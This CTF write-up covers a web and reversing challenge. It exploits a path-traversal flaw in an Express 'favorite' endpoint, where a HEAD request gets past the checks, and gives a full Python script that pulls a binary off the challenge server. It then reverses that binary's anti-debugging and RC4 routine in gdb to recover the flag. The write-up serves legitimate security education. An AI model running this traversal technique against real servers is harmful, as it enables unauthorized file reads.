Rating:

# Journey: Chapter II (web/re, 384+31 pts, 5 solves)

The source of `admin.html` suggests that we are after an `admin-tool` binary:
```html
<div style="margin-top: 20px">
Don't forget to practice remembering your Security Key PIN code with the ./admin-tool tool!
</div>
```

An arbitrary file read would be nice. One endpoint is interesting in this regard:
```javascript
app.get('/share', async function (req, res) {
if (!req.session.username)
res.send({ err: 'not logged in' })

const favList = favDb.get(req.session.username)
if (!favList || favList.length === 0)
res.send({ err: 'favorites list is empty' })

const result = {}
for (const favPath of favList) {
const [type, name] = path.relative(CONTENT_DB_PATH, favPath).split(path.sep)
result[type] = result[type] || {}
result[type][name.replace(".txt", "")] = fs.readFileSync(`${CONTENT_DB_PATH}/${type}/${name}`, "latin1")
}
const favId = crypto.randomBytes(8).toString("hex")
await db.put(`fav_${favId}`, result)
favDb.set(req.session.username, [])
res.send({ favId })
})
```

Note that, even though the database stores paths, the endpoint deconstructs
the path manually, and then assembles it back together. Let's take a closer
look at how the paths get inserted into the database.

```javascript
app.get('/favorite', async function (req, res) {
if (!req.session.username)
res.send({ err: 'not logged in' })

const { type, name, unfav } = req.query
if (type !== "book" && type !== "quote")
res.send({ err: 'invalid type' })

if (name.includes("/") || name.includes(".."))
res.send({ err: 'invalid name' })

const itemPath = `${CONTENT_DB_PATH}/${type}/${name}.txt`
if (!fs.existsSync(itemPath))
res.send({ err: 'not found' })

const favs = favDb.get(req.session.username) || []
if (unfav)
favs = favs.filter(x => x !== itemPath)
else
favs.push(itemPath)

favDb.set(req.session.username, favs)
res.send({ success: true })
})
```

Damn, path traversal is detected and rejected. Except... does `res.send`
end the execution of the function? A quick local test says no, so the checks
are merely a red herring! So let's send a request with `name` set to
`../../admin-tool/x`! One `..` to exit the `quote` directory, and another to
escape `db`. `path.relative` will remove the `quote/../` part, and subsequent
code will trim the path to the first 2 components: `../admin-tool`. This avoids
the `.txt` extension.

Except... it doesn't work: `{"err":"favorites list is empty"}`.

A bit more local testing suggests that `res.send` can only be called once, and
subsequent calls will raise an exception, complaining that "the headers can
only be sent once". This means that, while we may bypass the `name` check,
`existsSync` will still prevent us from injecting the path.

We brainstormed abusing various weird filesystem behaviors, as `path.relative`
does not access the filesystem and thus doesn't know about symbolic links such
as `/proc/self/cwd`. This seems to have been a dead end.

At this point, I decided to dive into the code of `express` to look for a way
of bypassing the exception, and soon stumbled upon a hint:
```javascript
if (req.method === 'HEAD') {
// skip body for HEAD
this.end();
} else {
// respond
this.end(chunk, encoding);
}
```
It turns out that sending a HEAD request will allow us to bypass the check, though
the snippet above doesn't seem to be directly responsible for it. This lets us
fetch the `admin-tool` binary:

```python
from requests import Session
from uuid import uuid4
s = Session()
rando = str(uuid4())
print(s.post("http://journey.ctf.spamandhex.com/register", json={"password": rando, "username": rando}).content)
print(s.post("http://journey.ctf.spamandhex.com/login", json={"password": rando, "username": rando}).content)
data = {
"type": "quote",
"name": "../../admin-tool/x",
}
print(s.head('http://journey.ctf.spamandhex.com/favorite', params=data).content)
fav = s.get("http://journey.ctf.spamandhex.com/share").json()['favId']
print(fav)
data = (s.get('http://journey.ctf.spamandhex.com/favorites?type=..&favId=' + fav).json())
open('admin-tool', 'wb').write(data['admin-tool'].encode('latin1'))
```

A few minutes in the disassembler show that
1. The binary attempts to detect the debugger with PTRACE_TRACEME
2. Our input is encrypted with RC4 or a derivative, and ciphertexts are compared.
The key is fixed.

I have first attempted to use a Python implementation of RC4, but the decryption
failed. I have decided that it would be more productive to extract the keystream
from the running program with gdb.

```
(gdb) b ptrace
Breakpoint 1 at 0x4005c0
(gdb) r
Starting program: /home/kuba/spamandhex/admin-tool
Journey: PIN Recovery Tool

"All journeys have secret destinations of which the traveler is unaware."

- Martin Buber

PIN recovery: I will tell if you still know the correct PIN or not, so you won't forget it even if you don't use it regularly. That's a great way of recovery I think!

Breakpoint 1, 0x00007ffff7eff210 in ptrace ()
from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.6
(gdb) fin
Run till exit from #0 0x00007ffff7eff210 in ptrace ()
from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.6
0x0000000000400976 in ?? ()
(gdb) x/10i $rip
=> 0x400976: cmp $0xffffffffffffffff,%rax
0x40097a: jne 0x40098f
0x40097c: lea 0x1e5(%rip),%rdi # 0x400b68
0x400983: callq 0x400570 <puts@plt>
0x400988: mov $0x1,%eax
0x40098d: jmp 0x400994
0x40098f: mov $0x0,%eax
0x400994: pop %rbp
0x400995: retq
0x400996: push %rbp
(gdb) p $rax
$1 = -1
(gdb) set $rax=0
(gdb) b *0x400a62
Breakpoint 2 at 0x400a62
(gdb) c
Continuing.
What's your PIN? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x0000000000400a62 in ?? ()
(gdb) x/32xb 0x602160
0x602160: 0x65 0xbe 0xb8 0x98 0x7b 0x9e 0xf7 0xf9
0x602168: 0x07 0xf6 0x07 0x75 0xa9 0x94 0x44 0x62
0x602170: 0xfc 0x9e 0x47 0x41 0x9d 0x8d 0xa4 0x0f
0x602178: 0x13 0x86 0x17 0x3b 0x3f 0x82 0x82 0x69
(gdb) dump memory stream.bin 0x602160 0x602200
```

```python
binary = open('admin-tool', 'rb').read()
stream = open('stream.bin', 'rb').read()

cipher = binary[0x20c0:]
cipher = cipher[:0x70]

out = bytearray()
for b,k in zip(cipher, stream):
out.append(b^k^65)
print(out)
# bytearray(b'SaF{It is good to have an end to journey toward; but it is the journey that matters, in the end.-2xzB4tW3}\x80G\x12\xf8{a')
```

**Post-CTF addendum:** While preparing this write-up, I have provided too few `A`
characters in the input, which resulted in the flag decryption stopping too
early. No problem—I thought—I'll just do it again.

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

To my surprise, this resulted in a completely different keystream. I soon realized
that this must be because the breakpoint is already there when the program is starting.
After all, breakpoints are implemented by overwriting an opcode with `int3`.

The culprit is an entry in the `.init_array` section:

![Binary Ninja screenshot because copy-paste is wonky](init_array.png)

I noticed this function during the CTF, but the code looked like decompiled
`/dev/urandom` at a glance, and [the XREF panel was empty](https://github.com/Vector35/binaryninja-cloud-public/issues/123), so I concluded that it's probably a false positive.

However, further analysis reveals that it checksums most of the code section
and derives an address from the checksum, which is then patched with a `xor`.

![](init_array_graph.png)

Checking with gdb, we see that the address being patched is `0x400902`. This
corresponds to an `add` instruction in the RC4 code, which this xor turns into
a `sub`. The following change in the decoding script makes it decrypt the flag
properly without the dumped keystream:

```diff
- K = S[(S[i] + S[j]) % 256]
+ K = S[(S[j] - S[i]) % 256]
yield K
```

I'm quite surprised, and to be honest, somewhat disappointed, that I didn't get
to experience this mischief during the CTF.

Original writeup (https://github.com/p4-team/ctf/tree/master/2020-05-10-spam-and-flags-teaser/journey2).